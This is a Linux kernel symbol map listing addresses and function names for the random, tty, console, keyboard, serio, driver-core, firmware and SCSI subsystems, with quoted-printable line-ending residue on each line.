102302e0 t read_zero=0A=
102304ac t mmap_zero=0A=
102304f8 t write_full=0A=
10230500 t null_lseek=0A=
1023051c t memory_lseek=0A=
1023060c t open_port=0A=
1023063c t kmsg_write=0A=
102306c0 t memory_open=0A=
102307cc t __add_entropy_words=0A=
10230964 t credit_entropy_store=0A=
1023099c t add_timer_randomness=0A=
10230b0c T add_input_randomness=0A=
10230b58 T add_interrupt_randomness=0A=
10230b98 T add_disk_randomness=0A=
10230bd8 t account=0A=
10230cc8 t extract_buf=0A=
10230df8 t extract_entropy=0A=
10230eb8 t xfer_secondary_pool=0A=
10230f98 t extract_entropy_user=0A=
10231098 T get_random_bytes=0A=
102310c8 t init_std_data=0A=
10231128 T rand_initialize_irq=0A=
10231198 T rand_initialize_disk=0A=
102311e0 t random_read=0A=
102313cc t urandom_read=0A=
102313ec t random_poll=0A=
1023148c t random_write=0A=
10231570 t random_ioctl=0A=
102317bc T generate_random_uuid=0A=
102317fc t proc_do_uuid=0A=
10231924 t uuid_strategy=0A=
10231a18 t rekey_seq_generator=0A=
10231a8c T secure_ip_id=0A=
10231ae0 T secure_tcp_sequence_number=0A=
10231b90 T secure_tcp_port_ephemeral=0A=
10231bec T get_random_int=0A=
10231c1c T randomize_range=0A=
10231c78 t alloc_tty_struct=0A=
10231cb4 T tty_name=0A=
10231ce8 T tty_paranoia_check=0A=
10231d48 t check_tty_count=0A=
10231dd8 t tty_set_termios_ldisc=0A=
10231e5c T tty_register_ldisc=0A=
10231ecc T tty_unregister_ldisc=0A=
10231f18 T tty_ldisc_get=0A=
10231f84 T tty_ldisc_put=0A=
10232028 t tty_ldisc_assign=0A=
10232050 t tty_ldisc_try=0A=
1023207c T tty_ldisc_ref_wait=0A=
10232168 T tty_ldisc_ref=0A=
10232194 T tty_ldisc_deref=0A=
10232230 t tty_ldisc_enable=0A=
10232270 T tty_check_change=0A=
10232324 t hung_up_tty_read=0A=
1023232c t hung_up_tty_write=0A=
10232334 t hung_up_tty_poll=0A=
1023233c t hung_up_tty_ioctl=0A=
10232354 T tty_wakeup=0A=
102323b8 T tty_ldisc_flush=0A=
1023240c T tty_hangup=0A=
10232428 T tty_hung_up_p=0A=
10232440 T stop_tty=0A=
102324b4 T start_tty=0A=
10232558 t tty_read=0A=
10232640 t tty_write=0A=
102328a4 T redirected_tty_write=0A=
1023291c t initialize_tty_struct=0A=
10232b24 t release_mem=0A=
10232cdc t init_dev=0A=
102331b4 t tty_poll=0A=
10233258 t tty_fasync=0A=
1023334c t do_tty_hangup=0A=
102336b4 T tty_vhangup=0A=
102336cc T disassociate_ctty=0A=
102338cc t release_dev=0A=
10233fe4 t tty_open=0A=
102343e0 t tty_release=0A=
10234400 t ptmx_open=0A=
102346f8 t send_break=0A=
10234788 T tty_ioctl=0A=
10235698 t __do_SAK=0A=
10235824 T do_SAK=0A=
1023585c t flush_to_ldisc=0A=
10235920 T tty_termios_baud_rate=0A=
10235974 T tty_get_baud_rate=0A=
102359d0 T tty_flip_buffer_push=0A=
10235a04 t tty_default_put_char=0A=
10235a34 T tty_register_device=0A=
10235b2c T tty_unregister_device=0A=
10235b64 T alloc_tty_driver=0A=
10235bbc T put_tty_driver=0A=
10235bd4 T tty_set_operations=0A=
10235c90 T tty_register_driver=0A=
10235e74 T tty_unregister_driver=0A=
10235f7c t check_unthrottle=0A=
10235fcc t reset_buffer_flags=0A=
10236024 t n_tty_flush_buffer=0A=
10236078 t n_tty_chars_in_buffer=0A=
102360b8 t opost=0A=
1023629c t echo_char=0A=
10236348 t n_tty_receive_room=0A=
10236374 t n_tty_write_wakeup=0A=
102363c0 t n_tty_receive_buf=0A=
1023736c T is_ignored=0A=
102373ec t n_tty_set_termios=0A=
10237820 t n_tty_close=0A=
10237854 t n_tty_open=0A=
102378f0 t read_chan=0A=
10238044 t write_chan=0A=
10238420 t normal_poll=0A=
102385c0 T tty_wait_until_sent=0A=
102386f0 t set_termios=0A=
10238b5c t send_prio_char=0A=
10238be4 T n_tty_ioctl=0A=
10239230 t pty_close=0A=
10239354 t pty_unthrottle=0A=
10239394 t pty_write=0A=
1023941c t pty_write_room=0A=
10239458 t pty_chars_in_buffer=0A=
102394b8 t pty_set_lock=0A=
10239534 t pty_flush_buffer=0A=
102395a8 t pty_open=0A=
10239618 t pty_set_termios=0A=
10239644 t pty_bsd_ioctl=0A=
10239678 t pty_unix98_ioctl=0A=
102396e8 t misc_seq_start=0A=
102397ac t misc_seq_next=0A=
102397e0 t misc_seq_stop=0A=
10239820 t misc_seq_show=0A=
1023985c t misc_seq_open=0A=
10239880 t misc_open=0A=
10239b84 T misc_register=0A=
10239d98 T misc_deregister=0A=
10239eb8 T vt_waitactive=0A=
10239fb8 T reset_vc=0A=
1023a02c t complete_change_console=0A=
1023a114 T vt_ioctl=0A=
1023ba74 T change_console=0A=
1023bb14 t vcs_size=0A=
1023bb94 t vcs_lseek=0A=
1023bcdc t vcs_read=0A=
1023c0a0 t vcs_write=0A=
1023c560 t vcs_open=0A=
1023c59c T vcs_make_devfs=0A=
1023c624 T vcs_remove_devfs=0A=
1023c674 T conv_uni_to_pc=0A=
1023c710 t set_inverse_transl=0A=
1023c7c8 T set_translate=0A=
1023c7f0 T inverse_translate=0A=
1023c834 t update_user_maps=0A=
1023c8a8 T con_set_trans_old=0A=
1023c91c T con_get_trans_old=0A=
1023c9bc T con_set_trans_new=0A=
1023ca30 T con_get_trans_new=0A=
1023ca8c t con_release_unimap=0A=
1023cb3c T con_free_unimap=0A=
1023cb8c t con_unify_unimap=0A=
1023ccec t con_insert_unipair=0A=
1023cde0 T con_clear_unimap=0A=
1023ceb0 T con_set_unimap=0A=
1023d0e8 T con_set_default_unimap=0A=
1023d248 T con_copy_unimap=0A=
1023d2b4 T con_get_unimap=0A=
1023d3fc T con_protect_unimap=0A=
1023d410 t sel_pos=0A=
1023d448 T clear_selection=0A=
1023d4b4 T sel_loadlut=0A=
1023d4e4 T set_selection=0A=
1023dac8 T paste_selection=0A=
1023dc6c T getkeycode=0A=
1023dce8 T setkeycode=0A=
1023de6c t kd_nosound=0A=
1023df20 T kd_mksound=0A=
1023e020 T kbd_rate=0A=
1023e0e0 t put_queue=0A=
1023e144 t puts_queue=0A=
1023e1bc t applkey=0A=
1023e200 t to_utf8=0A=
1023e288 T compute_shiftstate=0A=
1023e39c t handle_diacr=0A=
1023e42c t fn_enter=0A=
1023e49c t fn_caps_toggle=0A=
1023e4d0 t fn_caps_on=0A=
1023e500 t fn_show_ptregs=0A=
1023e528 t fn_hold=0A=
1023e57c t fn_bare_num=0A=
1023e5b0 t fn_num=0A=
1023e5ec t fn_lastcons=0A=
1023e60c t fn_dec_console=0A=
1023e670 t fn_inc_console=0A=
1023e6d4 t fn_send_intr=0A=
1023e738 t fn_scroll_forw=0A=
1023e754 t fn_scroll_back=0A=
1023e770 t fn_show_mem=0A=
1023e788 t fn_show_state=0A=
1023e7a0 t fn_boot_it=0A=
1023e7b8 t fn_compose=0A=
1023e7c8 t fn_spawn_con=0A=
1023e808 t fn_SAK=0A=
1023e83c t fn_null=0A=
1023e854 t k_ignore=0A=
1023e858 t k_spec=0A=
1023e8c4 t k_lowercase=0A=
1023e8e4 t k_self=0A=
1023e95c t k_dead2=0A=
1023e99c t k_dead=0A=
1023e9c8 t k_cons=0A=
1023e9f4 t k_fn=0A=
1023ea50 t k_cur=0A=
1023ea9c t k_pad=0A=
1023ec98 t k_shift=0A=
1023edc8 t k_meta=0A=
1023ee34 t k_ascii=0A=
1023ee80 t k_lock=0A=
1023eeb8 t k_slock=0A=
1023ef58 T getledstate=0A=
1023ef64 T setledstate=0A=
1023efd0 t kbd_bh=0A=
1023f150 t kbd_event=0A=
1023f6b0 t kbd_connect=0A=
1023f814 t kbd_disconnect=0A=
1023f838 T schedule_console_callback=0A=
1023f858 t scrup=0A=
1023f978 t scrdown=0A=
1023fa80 t do_update_region=0A=
1023fc48 t build_attr=0A=
1023fd70 t update_attr=0A=
1023fdec T invert_screen=0A=
1023ffe0 T complement_pos=0A=
10240188 t insert_char=0A=
102402b8 t add_softcursor=0A=
1024037c t hide_cursor=0A=
10240414 t set_cursor=0A=
102404ac T update_region=0A=
1024075c t set_origin=0A=
10240814 t clear_buffer_attributes=0A=
10240854 t set_palette=0A=
102408d4 T redraw_screen=0A=
10240ad8 T vc_cons_allocated=0A=
10240afc t visual_init=0A=
10240c78 t gotoxy=0A=
10240d10 t save_cur=0A=
10240d80 T vc_resize=0A=
102410f0 T vc_disallocate=0A=
102411b0 t gotoxay=0A=
102411e0 T scrollback=0A=
10241214 T scrollfront=0A=
10241248 t lf=0A=
102412b0 t csi_J=0A=
10241468 t default_attr=0A=
10241484 t respond_string=0A=
102414ec T mouse_report=0A=
10241544 T mouse_reporting=0A=
10241564 t set_mode=0A=
102417fc T set_console=0A=
1024181c t restore_cur=0A=
102418cc t reset_terminal=0A=
10241acc T reset_palette=0A=
10241b3c t vt_console_print=0A=
10241e0c t vt_console_device=0A=
10241e34 t con_flush_chars=0A=
10241e84 t con_write_room=0A=
10241e94 t con_chars_in_buffer=0A=
10241e9c t con_throttle=0A=
10241ea0 t con_unthrottle=0A=
10241ecc t con_stop=0A=
10241f50 t con_start=0A=
10241fd4 t con_close=0A=
10242090 t vc_init=0A=
1024217c T vc_allocate=0A=
102422ac t con_open=0A=
1024234c T take_over_console=0A=
10242754 T give_up_console=0A=
102427e8 T do_blank_screen=0A=
10242ae4 T do_unblank_screen=0A=
10242c58 T unblank_screen=0A=
10242c74 T poke_blanked_console=0A=
10242d60 t console_callback=0A=
10242e64 t do_con_write=0A=
102449e0 t con_put_char=0A=
10244a1c t con_write=0A=
10244a50 T tioclinux=0A=
10244d78 t blank_screen_t=0A=
10244dd4 t set_get_cmap=0A=
1024504c T con_set_cmap=0A=
10245080 T con_get_cmap=0A=
102450b4 T con_font_op=0A=
1024550c T screen_glyph=0A=
10245564 T screen_pos=0A=
102455ac T getconsxy=0A=
102455c0 T putconsxy=0A=
102455ec T vcs_scr_readw=0A=
1024560c T vcs_scr_writew=0A=
10245644 t gen_rtc_timer=0A=
102459b4 t genrtc_troutine=0A=
10245db8 t gen_rtc_read=0A=
10245f08 t gen_rtc_poll=0A=
10245f44 t gen_rtc_ioctl=0A=
10246850 t gen_rtc_open=0A=
10246880 t gen_rtc_release=0A=
10246904 t gen_rtc_read_proc=0A=
10246df4 t serio_connect_driver=0A=
10246e94 t serio_reconnect_driver=0A=
10246f3c t serio_match_port=0A=
10246fb8 t serio_release_driver=0A=
10246ff8 t serio_find_driver=0A=
10247038 t serio_queue_event=0A=
10247174 T __serio_register_driver=0A=
102471b4 T __serio_unregister_port_delayed=0A=
102471d0 t serio_free_event=0A=
10247224 t serio_remove_pending_events=0A=
102472ac t serio_show_description=0A=
102472d8 t serio_show_modalias=0A=
10247318 t serio_show_id_type=0A=
10247344 t serio_show_id_proto=0A=
10247370 t serio_show_id_id=0A=
1024739c t serio_show_id_extra=0A=
102473c8 t serio_show_bind_mode=0A=
10247404 t serio_set_bind_mode=0A=
10247484 t serio_release_port=0A=
102474a0 T __serio_register_port=0A=
1024757c t serio_destroy_port=0A=
10247690 t serio_disconnect_port=0A=
102476fc t serio_reconnect_port=0A=
10247740 t serio_rebind_driver=0A=
102478f8 t serio_thread=0A=
10247c30 T serio_rescan=0A=
10247c50 T serio_reconnect=0A=
10247c70 T serio_unregister_port=0A=
10247cfc T serio_unregister_child_port=0A=
10247d94 t serio_driver_show_description=0A=
10247dc8 t serio_driver_show_bind_mode=0A=
10247e04 t serio_driver_set_bind_mode=0A=
10247e80 t serio_driver_probe=0A=
10247ea8 t serio_driver_remove=0A=
10247f38 T serio_unregister_driver=0A=
1024802c t serio_set_drv=0A=
1024803c t serio_bus_match=0A=
10248080 t serio_hotplug=0A=
10248228 t serio_resume=0A=
1024825c T serio_open=0A=
102482a8 T serio_close=0A=
102482e0 T serio_interrupt=0A=
10248334 t wait_TBE=0A=
102483cc t gscps2_flush=0A=
10248414 t gscps2_enable=0A=
1024849c t gscps2_reset=0A=
102484f0 t gscps2_interrupt=0A=
10248680 t gscps2_write=0A=
10248780 t gscps2_open=0A=
102487c0 t gscps2_close=0A=
102487e0 t gscps2_remove=0A=
1024886c T ps2_sendbyte=0A=
102489a4 T ps2_drain=0A=
10248b30 T ps2_command=0A=
10248ed8 t ps2_execute_scheduled_command=0A=
10248f08 T ps2_schedule_command=0A=
10248fe0 T ps2_init=0A=
10249044 T ps2_handle_response=0A=
102490d8 T ps2_handle_ack=0A=
10249198 T ps2_cmd_aborted=0A=
102491e0 t dev_attr_show=0A=
10249210 t dev_attr_store=0A=
10249240 t device_release=0A=
102492b8 t dev_hotplug_filter=0A=
102492f0 t dev_hotplug_name=0A=
102492fc t dev_hotplug=0A=
10249428 t store_uevent=0A=
10249450 t store_uevent=0A=
10249478 T get_device=0A=
102494a0 T put_device=0A=
102494c8 T device_create_file=0A=
10249520 T device_remove_file=0A=
10249570 t klist_children_get=0A=
1024958c t klist_children_put=0A=
102495a8 T device_initialize=0A=
1024963c T device_add=0A=
1024976c T device_register=0A=
10249790 T device_del=0A=
1024982c T device_unregister=0A=
10249850 T device_for_each_child=0A=
102498d0 t sysdev_show=0A=
10249904 t sysdev_store=0A=
1024993c T sysdev_create_file=0A=
10249958 T sysdev_remove_file=0A=
10249974 T sysdev_class_register=0A=
102499ac T sysdev_class_unregister=0A=
102499c8 T sysdev_driver_register=0A=
10249b00 T sysdev_driver_unregister=0A=
10249c08 T sysdev_register=0A=
10249d6c T sysdev_unregister=0A=
10249e7c T sysdev_shutdown=0A=
1024a018 t __sysdev_resume=0A=
1024a0c8 T sysdev_suspend=0A=
1024a3b4 T sysdev_resume=0A=
1024a460 t drv_attr_show=0A=
1024a494 t drv_attr_store=0A=
1024a4cc t driver_release=0A=
1024a4e8 t bus_attr_show=0A=
1024a51c t bus_attr_store=0A=
1024a554 T get_bus=0A=
1024a594 T put_bus=0A=
1024a5b0 T bus_create_file=0A=
1024a600 T bus_remove_file=0A=
1024a650 t driver_helper=0A=
1024a67c t next_device=0A=
1024a6a4 t next_device=0A=
1024a6cc T bus_for_each_dev=0A=
1024a758 T bus_find_device=0A=
1024a7ec t driver_bind=0A=
1024a8d0 t driver_unbind=0A=
1024a964 T bus_for_each_drv=0A=
1024a9fc T bus_add_device=0A=
1024ab10 T bus_remove_device=0A=
1024abd8 T bus_add_driver=0A=
1024ad24 T bus_remove_driver=0A=
1024adfc t bus_rescan_devices_helper=0A=
1024ae24 T bus_rescan_devices=0A=
1024ae4c T find_bus=0A=
1024ae80 t klist_devices_get=0A=
1024ae9c t klist_devices_get=0A=
1024aeb8 t klist_devices_put=0A=
1024aed4 t klist_devices_put=0A=
1024aef0 t klist_drivers_get=0A=
1024af0c t klist_drivers_put=0A=
1024af28 T bus_register=0A=
1024b0a8 T bus_unregister=0A=
1024b128 T device_bind_driver=0A=
1024b1b0 T driver_probe_device=0A=
1024b270 t __device_attach=0A=
1024b288 T device_attach=0A=
1024b340 t __driver_attach=0A=
1024b3d8 T driver_attach=0A=
1024b404 t __device_release_driver=0A=
1024b498 T device_release_driver=0A=
1024b518 T driver_detach=0A=
1024b5d0 T driver_for_each_device=0A=
1024b65c T driver_find_device=0A=
1024b6f0 T get_driver=0A=
1024b718 T put_driver=0A=
1024b734 T driver_create_file=0A=
1024b784 T driver_remove_file=0A=
1024b7d4 T driver_register=0A=
1024b824 T driver_unregister=0A=
1024b848 T driver_find=0A=
1024b87c t class_attr_show=0A=
1024b8b0 t class_attr_store=0A=
1024b8e8 t class_release=0A=
1024b914 T class_create_file=0A=
1024b938 T class_remove_file=0A=
1024b960 T class_get=0A=
1024b9a0 T class_put=0A=
1024b9c8 T class_register=0A=
1024bb2c T class_unregister=0A=
1024bb9c t class_create_release=0A=
1024bbb4 t class_device_create_release=0A=
1024bbcc t class_device_create_hotplug=0A=
1024bbd4 T class_create=0A=
1024bc58 T class_destroy=0A=
1024bc88 T class_device_create_file=0A=
1024bcac T class_device_remove_file=0A=
1024bcd4 T class_device_create_bin_file=0A=
1024bcf8 T class_device_remove_bin_file=0A=
1024bd20 t class_device_attr_show=0A=
1024bd54 t class_device_attr_store=0A=
1024bd8c t class_dev_release=0A=
1024be38 t class_hotplug_filter=0A=
1024be70 t class_hotplug_name=0A=
1024be7c t class_hotplug=0A=
1024c090 t show_dev=0A=
1024c0c0 T class_device_initialize=0A=
1024c0f4 t make_class_name=0A=
1024c178 T class_device_get=0A=
1024c1a0 T class_device_put=0A=
1024c1c8 T class_device_add=0A=
1024c4c8 T class_device_register=0A=
1024c4ec T class_device_create=0A=
1024c5cc T class_device_del=0A=
1024c78c T class_device_unregister=0A=
1024c7b0 T class_device_destroy=0A=
1024c88c T class_device_rename=0A=
1024c96c T class_interface_register=0A=
1024ca70 T class_interface_unregister=0A=
1024cb74 T platform_get_resource=0A=
1024cbb0 T platform_get_irq=0A=
1024cbe0 T platform_get_resource_byname=0A=
1024cc78 T platform_get_irq_byname=0A=
1024cca8 T platform_device_put=0A=
1024ccd0 t platform_device_release=0A=
1024cd00 T platform_device_alloc=0A=
1024cd70 T platform_device_add_resources=0A=
1024cde8 T platform_device_add_data=0A=
1024ce48 T platform_device_add=0A=
1024cfb8 T platform_device_register=0A=
1024cfe0 T platform_device_unregister=0A=
1024d064 T platform_add_devices=0A=
1024d0e4 T platform_device_register_simple=0A=
1024d158 t platform_drv_probe=0A=
1024d184 t platform_drv_remove=0A=
1024d1b0 t platform_drv_shutdown=0A=
1024d1dc t platform_drv_suspend=0A=
1024d208 t platform_drv_resume=0A=
1024d234 T platform_driver_register=0A=
1024d2c0 T platform_driver_unregister=0A=
1024d2dc t platform_match=0A=
1024d308 t platform_suspend=0A=
1024d33c t platform_resume=0A=
1024d370 T dma_get_required_mask=0A=
1024d478 T register_cpu=0A=
1024d510 T get_cpu_sysdev=0A=
1024d528 T firmware_register=0A=
1024d54c T firmware_unregister=0A=
1024d564 T kobj_map=0A=
1024d70c T kobj_unmap=0A=
1024d83c T kobj_lookup=0A=
1024da50 T kobj_map_init=0A=
1024db0c t show_pools=0A=
1024dc6c T dma_pool_create=0A=
1024de28 T dma_pool_destroy=0A=
1024e004 T dma_pool_alloc=0A=
1024e2b0 T dma_pool_free=0A=
1024e404 t internal_container_klist_get=0A=
1024e420 t internal_container_klist_put=0A=
1024e43c T attribute_container_classdev_to_container=0A=
1024e444 T attribute_container_register=0A=
1024e500 T attribute_container_unregister=0A=
1024e5c4 t attribute_container_release=0A=
1024e5f0 T attribute_container_device_trigger=0A=
1024e748 T attribute_container_trigger=0A=
1024e840 T attribute_container_add_attrs=0A=
1024e8a4 T attribute_container_add_class_device=0A=
1024e8d0 T attribute_container_add_device=0A=
1024ea80 T attribute_container_add_class_device_adapter=0A=
1024ea9c T attribute_container_remove_attrs=0A=
1024eaf4 T attribute_container_remove_device=0A=
1024ec5c T attribute_container_class_device_del=0A=
1024ec80 T attribute_container_find_class_device=0A=
1024ece4 T transport_class_register=0A=
1024ecfc T transport_class_unregister=0A=
1024ed14 t anon_transport_dummy_function=0A=
1024ed1c T anon_transport_class_register=0A=
1024ed6c T anon_transport_class_unregister=0A=
1024ed88 t transport_setup_classdev=0A=
1024edb4 T transport_setup_device=0A=
1024edd4 t transport_add_class_device=0A=
1024ee1c T transport_remove_device=0A=
1024ee3c T transport_add_device=0A=
1024ee5c t transport_configure=0A=
1024ee88 T transport_configure_device=0A=
1024eea8 t transport_remove_classdev=0A=
1024ef20 t transport_destroy_classdev=0A=
1024ef74 T transport_destroy_device=0A=
1024ef94 T device_shutdown=0A=
1024f030 t firmware_timeout_show=0A=
1024f05c t firmware_timeout_store=0A=
1024f098 T firmware_class_hotplug=0A=
1024f180 t firmware_loading_show=0A=
1024f1b0 t firmware_loading_store=0A=
1024f30c t firmware_data_read=0A=
1024f440 t firmware_data_write=0A=
1024f630 t fw_class_dev_release=0A=
1024f658 t firmware_class_timeout=0A=
1024f688 T release_firmware=0A=
1024f6b8 t _request_firmware=0A=
1024fa54 T request_firmware=0A=
1024fa70 T register_firmware=0A=
1024fa74 t request_firmware_work_func=0A=
1024fb68 T request_firmware_nowait=0A=
1024fcc4 t loopback_xmit=0A=
1024fd68 t get_stats=0A=
1024fde4 t loopback_get_link=0A=
1024fdec T scsi_allocate_request=0A=
1024fe6c T __scsi_release_request=0A=
1024fec8 T scsi_release_request=0A=
1024feec T scsi_get_command=0A=
1024fff0 T scsi_put_command=0A=
1025009c T scsi_setup_command_freelist=0A=
10250228 T scsi_destroy_command_freelist=0A=
10250304 T scsi_init_cmd_from_req=0A=
10250420 T __scsi_done=0A=
102504a8 t scsi_done=0A=
102504d4 T scsi_dispatch_cmd=0A=
10250760 T scsi_finish_command=0A=
102507fc t scsi_softirq=0A=
102509a0 T scsi_adjust_queue_depth=0A=
10250a78 T scsi_track_queue_full=0A=
10250b2c T scsi_device_get=0A=
10250bc4 T scsi_device_put=0A=
10250c20 T __scsi_iterate_devices=0A=
10250cac T starget_for_each_device=0A=
10250d70 T __scsi_device_lookup_by_target=0A=
10250db4 T scsi_device_lookup_by_target=0A=
10250e34 T __scsi_device_lookup=0A=
10250e80 T scsi_device_lookup=0A=
10250ec4 T scsi_device_cancel=0A=
10250ff8 T scsi_is_host_device=0A=
1025102c t scsi_host_cls_release=0A=
10251048 T scsi_host_set_state=0A=
10251108 T scsi_remove_host=0A=
10251270 T scsi_add_host=0A=
102513f8 t scsi_host_dev_release=0A=
1025148c T scsi_host_alloc=0A=
102517b0 T scsi_register=0A=
1025181c T scsi_host_put=0A=
10251838 T scsi_unregister=0A=
1025187c T scsi_host_get=0A=
102518b8 T scsi_host_lookup=0A=
1025194c T scsi_init_hosts=0A=
1025196c T scsi_exit_hosts=0A=
1025198c T scsi_queue_work=0A=
102519dc T scsi_flush_work=0A=
10251a24 t ioctl_internal_command=0A=
10251b7c T scsi_set_medium_removal=0A=
10251c08 T scsi_ioctl_send_command=0A=
10251ecc T scsi_ioctl=0A=
10252264 T scsi_nonblockable_ioctl=0A=
102523ac t get_sa_name=0A=
102523e4 t print_opcode_name=0A=
1025269c T __scsi_print_command=0A=
10252728 T scsi_print_status=0A=
10252808 T scsi_sense_key_string=0A=
10252824 T scsi_extd_sense_format=0A=
1025289c T scsi_print_sense_hdr=0A=
10252a08 T __scsi_print_sense=0A=
10252ca0 T scsi_print_sense=0A=
10252cd8 T scsi_print_req_sense=0A=
10252d10 T scsi_print_msg=0A=
10252f4c T scsi_print_command=0A=
10252ffc T scsi_print_hostbyte=0A=
10253054 T scsi_print_driverbyte=0A=
102530c8 T scsi_bios_ptable=0A=
10253148 T scsi_partsize=0A=
10253330 T scsicam_bios_param=0A=
102534e8 T scsi_eh_wakeup=0A=
10253518 T scsi_eh_scmd_add=0A=
102535d8 T scsi_add_timer=0A=
10253674 T scsi_delete_timer=0A=
1025369c T scsi_times_out=0A=
10253738 T scsi_block_when_processing_errors=0A=
10253814 t scsi_eh_done=0A=
10253844 t scsi_eh_finish_cmd=0A=
102538ac t scsi_try_bus_device_reset=0A=
10253920 T scsi_report_bus_reset=0A=
1025395c t scsi_try_bus_reset=0A=
102539fc t scsi_try_host_reset=0A=
10253a9c t scsi_eh_lock_done=0A=
10253ab8 T scsi_report_device_reset=0A=
10253b00 t scsi_reset_provider_done_command=0A=
10253b04 T scsi_reset_provider=0A=
10253c2c T scsi_normalize_sense=0A=
10253d30 T scsi_command_normalize_sense=0A=
10253d54 t scsi_check_sense=0A=
10253f04 t scsi_send_eh_cmnd=0A=
102540a4 t scsi_eh_tur=0A=
1025417c t scsi_eh_try_stu=0A=
10254240 T scsi_decide_disposition=0A=
102544f8 T scsi_error_handler=0A=
10254e08 T scsi_request_normalize_sense=0A=
10254e2c T scsi_sense_desc_find=0A=
10254ea8 T scsi_get_sense_info_fld=0A=
10254fb0 T scsi_insert_special_req=0A=
10254ff4 t scsi_unprep_request=0A=
10255034 T scsi_do_req=0A=
102550e8 T scsi_execute=0A=
102551ec T scsi_execute_req=0A=
102552cc t scsi_init_cmd_errh=0A=
1025535c T scsi_setup_cmd_retry=0A=
102553b4 T scsi_device_unbusy=0A=
10255418 t scsi_run_queue=0A=
10255570 T scsi_queue_insert=0A=
102555f0 t scsi_requeue_command=0A=
10255640 T scsi_next_command=0A=
10255694 T scsi_run_host_queues=0A=
102556dc t scsi_end_request=0A=
102557b8 t scsi_free_sgtable=0A=
10255814 t scsi_release_buffers=0A=
10255870 T scsi_io_completion=0A=
10255c68 t scsi_prepare_flush_fn=0A=
10255cac t scsi_end_flush_fn=0A=
10255d2c t scsi_issue_flush_fn=0A=
10255d74 t scsi_generic_done=0A=
10255ddc T scsi_setup_blk_pc_cmnd=0A=
10255e58 t scsi_prep_fn=0A=
102561e8 t scsi_kill_request=0A=
10256284 t scsi_request_fn=0A=
10256534 T scsi_calculate_bounce_limit=0A=
10256564 T scsi_alloc_queue=0A=
1025666c T scsi_free_queue=0A=
10256684 T scsi_block_requests=0A=
10256694 T scsi_unblock_requests=0A=
102566b8 T scsi_exit_queue=0A=
10256704 T scsi_mode_sense=0A=
1025695c T scsi_test_unit_ready=0A=
10256a24 T scsi_device_set_state=0A=
10256af4 T scsi_device_quiesce=0A=
10256b3c T scsi_device_resume=0A=
10256b6c t device_quiesce_fn=0A=
10256b84 T scsi_target_quiesce=0A=
10256ba8 t device_resume_fn=0A=
10256bc0 T scsi_target_resume=0A=
10256be4 T scsi_internal_device_block=0A=
10256c28 T scsi_internal_device_unblock=0A=
10256c6c t device_block=0A=
10256c84 t target_block=0A=
10256cc0 T scsi_target_block=0A=
10256d10 t device_unblock=0A=
10256d28 t target_unblock=0A=
10256d64 T scsi_target_unblock=0A=
10256db4 t scsi_alloc_sdev=0A=
10256fb8 t scsi_target_dev_release=0A=
10257034 T scsi_is_target_device=0A=
10257068 t scsi_target_reap_work=0A=
10257134 T scsi_target_reap=0A=
102571c8 t scsi_alloc_target=0A=
102574ac t scsi_probe_and_add_lun=0A=
10257d20 T int_to_scsilun=0A=
10257d74 T __scsi_add_device=0A=
10257e70 T scsi_add_device=0A=
10257eb4 T scsi_rescan_device=0A=
10257f4c t __scsi_scan_target=0A=
10258498 T scsi_scan_target=0A=
10258580 t scsi_scan_channel=0A=
10258634 T scsi_scan_host_selected=0A=
10258760 T scsi_scan_host=0A=
10258788 T scsi_forget_host=0A=
102587dc T scsi_get_host_dev=0A=
102588b0 T scsi_free_host_dev=0A=
10258928 T scsi_device_state_name=0A=
10258960 T scsi_host_state_name=0A=
10258998 t check_set=0A=
10258a10 t store_scan=0A=
10258ae8 t store_shost_state=0A=
10258ba8 t show_shost_state=0A=
10258bec t show_unique_id=0A=
10258c18 t show_host_busy=0A=
10258c44 t show_cmd_per_lun=0A=
10258c74 t show_sg_tablesize=0A=
10258ca0 t show_unchecked_isa_dma=0A=
10258cd0 t show_proc_name=0A=
10258d00 t scsi_device_cls_release=0A=
10258d1c t scsi_device_dev_release=0A=
10258e08 t scsi_bus_match=0A=
10258e28 T scsi_sysfs_register=0A=
10258e80 T scsi_sysfs_unregister=0A=
10258eac t sdev_show_device_blocked=0A=
10258ed8 t sdev_show_queue_depth=0A=
10258f04 t sdev_show_type=0A=
10258f34 t sdev_show_scsi_level=0A=
10258f64 t sdev_show_vendor=0A=
10258f90 t sdev_show_model=0A=
10258fbc t sdev_show_rev=0A=
10258fe8 t sdev_show_timeout=0A=
10259020 t sdev_store_timeout=0A=
1025907c t store_rescan_field=0A=
1025909c t store_state_field=0A=
1025915c t show_state_field=0A=
102591a0 t show_queue_type_field=0A=
102591f4 t show_iostat_counterbits=0A=
10259220 t show_iostat_iorequest_cnt=0A=
1025925c t show_iostat_iodone_cnt=0A=
10259298 t show_iostat_ioerr_cnt=0A=
102592d4 t sdev_store_queue_depth_rw=0A=
10259354 t sdev_store_queue_type_rw=0A=
10259468 t attr_overridden=0A=
102594d8 T __scsi_remove_device=0A=
10259568 T scsi_remove_device=0A=
102595ec t sdev_store_delete=0A=
10259610 T scsi_sysfs_add_sdev=0A=
10259834 T __scsi_remove_target=0A=
10259904 t __remove_child=0A=
10259934 T scsi_remove_target=0A=
1025999c T scsi_register_driver=0A=
102599c0 T scsi_register_interface=0A=
102599e4 t class_attr_overridden=0A=
10259a54 T scsi_sysfs_add_host=0A=
10259b84 T scsi_sysfs_device_initialize=0A=
10259ca8 T scsi_is_sdev_device=0A=
10259cdc t scsi_strcpy_devinfo=0A=
10259db0 t scsi_dev_info_list_add=0A=
10259eb8 t scsi_dev_info_list_add_str=0A=
10259ff8 T scsi_get_device_flags=0A=
1025a160 t proc_scsi_devinfo_read=0A=
1025a250 t proc_scsi_devinfo_write=0A=
1025a308 T scsi_exit_devinfo=0A=
1025a364 T scsi_exit_sysctl=0A=
1025a384 t proc_scsi_read=0A=
1025a3e0 t proc_scsi_write_proc=0A=
1025a4a4 T scsi_proc_hostdir_add=0A=
1025a580 T scsi_proc_hostdir_rm=0A=
1025a638 T scsi_proc_host_add=0A=
1025a6e0 T scsi_proc_host_rm=0A=
1025a730 t proc_print_scsidevice=0A=
1025a920 t proc_scsi_write=0A=
1025ab98 t proc_scsi_show=0A=
1025abdc t proc_scsi_open=0A=
1025ac04 T scsi_exit_procfs=0A=
1025ac38 t sprint_frac=0A=
1025ad18 t spi_execute=0A=
1025ae18 t spi_host_setup=0A=
1025ae5c t spi_host_match=0A=
1025aee4 t spi_device_configure=0A=
1025af98 t spi_setup_transport_attrs=0A=
1025b020 t show_spi_transport_offset=0A=
1025b0b0 t store_spi_transport_offset=0A=
1025b154 t show_spi_transport_max_offset=0A=
1025b184 t store_spi_transport_max_offset=0A=
